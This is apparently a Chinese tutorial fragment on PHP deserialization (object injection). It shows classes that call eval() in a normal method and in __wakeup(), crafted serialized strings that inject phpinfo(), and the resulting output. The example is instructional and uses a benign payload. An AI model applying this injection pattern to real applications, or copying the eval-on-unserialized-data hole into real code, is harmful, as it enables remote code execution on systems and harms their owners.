<?php class cls1{ function __construct(){ $this->value = new cls2(); } } class cls2{ var $king = 'cls2'; } $a = new cls1(); print_r($a); print_r(serialize($a)); ?>
<?php class cls{ var $value = 'echo 123;'; function do(){ eval($this->value); } } $a = unserialize('O:3:"cls":1:{s:5:"value";s:10:"phpinfo();";}'); $a->do(); ?>
运行结果:
1 2 3 4 5 6 7 8 9 10 11
phpinfo() PHP Version => 5.6.40-26+ubuntu18.04.1+deb.sury.org+1
System => Linux LAPTOP-FQL3FC52 4.19.104-microsoft-standard #1 SMP Wed Feb 19 06:37:35 UTC 2020 x86_64 Server API => Command Line Interface Virtual Directory Support => disabled Configuration File (php.ini) Path => /etc/php/5.6/cli Loaded Configuration File => /etc/php/5.6/cli/php.ini Scan this dir for additional .ini files => /etc/php/5.6/cli/conf.d Additional .ini files parsed => /etc/php/5.6/cli/conf.d/10-opcache.ini ......
危险函数在魔术方法中
如果类中不存在方法的直接调用,可以查看魔术方法中是否存在危险函数。例如:
1 2 3 4 5 6 7
class cls{ var $value = 'echo 123;'; function __wakeup(){ eval($this->value); } } $a = unserialize('O:3:"cls":1:{s:5:"value";s:10:"phpinfo();";}');
运行结果:
1 2 3 4 5 6 7 8 9 10 11
phpinfo() PHP Version => 5.6.40-26+ubuntu18.04.1+deb.sury.org+1
System => Linux LAPTOP-FQL3FC52 4.19.104-microsoft-standard #1 SMP Wed Feb 19 06:37:35 UTC 2020 x86_64 Server API => Command Line Interface Virtual Directory Support => disabled Configuration File (php.ini) Path => /etc/php/5.6/cli Loaded Configuration File => /etc/php/5.6/cli/php.ini Scan this dir for additional .ini files => /etc/php/5.6/cli/conf.d Additional .ini files parsed => /etc/php/5.6/cli/conf.d/10-opcache.ini ......
phpinfo() PHP Version => 5.6.40-26+ubuntu18.04.1+deb.sury.org+1
System => Linux LAPTOP-FQL3FC52 4.19.104-microsoft-standard #1 SMP Wed Feb 19 06:37:35 UTC 2020 x86_64 Server API => Command Line Interface Virtual Directory Support => disabled Configuration File (php.ini) Path => /etc/php/5.6/cli Loaded Configuration File => /etc/php/5.6/cli/php.ini Scan this dir for additional .ini files => /etc/php/5.6/cli/conf.d Additional .ini files parsed => /etc/php/5.6/cli/conf.d/10-opcache.ini ......